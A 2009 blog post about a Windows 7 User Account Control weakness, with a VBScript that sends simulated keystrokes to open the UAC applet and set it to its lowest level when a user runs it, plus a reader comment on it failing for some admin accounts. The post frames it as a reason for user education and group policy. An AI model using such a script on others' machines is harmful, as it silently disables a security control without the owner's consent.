Disable UAC in Windows 7 without user knowledge?!

by Marin Franković on 3 February, 2009

UAC is weeker?!Well, there are ways to do this using scripts, but it does require some user interaction. User must start a script, and user must restart computer to apply new UAC settings. It all comes down??to educating users about malicious applications and not to start applications or scripts that they receive through mail. In proper enterprise environment, all users on workstations should be “low level” privileged users (NOT local admins), and workstation setting (including UAC) should be controlled through group policy.

Here is a sample script that will disable UAC when user clicks on it:

Set WshShell = WScript.CreateObject(“WScript.Shell”)

‘// Toggle Start menu
WshShell.SendKeys(“^{ESC}”)
WScript.Sleep(500)

‘// Search for UAC applet
WshShell.SendKeys(“change uac”)
WScript.Sleep(2000)

‘// Open the applet (assuming second result)
WshShell.SendKeys(“{DOWN}”)
WshShell.SendKeys(“{DOWN}”)
WshShell.SendKeys(“{ENTER}”)
WScript.Sleep(2000)

‘// Set UAC level to lowest (assuming out-of-box Default setting)
WshShell.SendKeys(“{TAB}”)
WshShell.SendKeys(“{DOWN}”)
WshShell.SendKeys(“{DOWN}”)
WshShell.SendKeys(“{DOWN}”)

‘// Save our changes
WshShell.SendKeys(“{TAB}”)
WshShell.SendKeys(“{ENTER}”)

?Copy and paste this into UAC.vbs file. I?do not take any responsibility if this script in any way harms your computer.

?


{ 1 comment… read it below or add one }

Paul April 21, 2010 at 11:21

Hi,

Good idea.
When i run your script as local build in administrator everything is OK.
When i run it as another user (member of local Administrators Group) all sendkeys which are going to UAC Windows are not working.

Any Ideas…

Reply

Leave a Reply

Previous post:

Next post: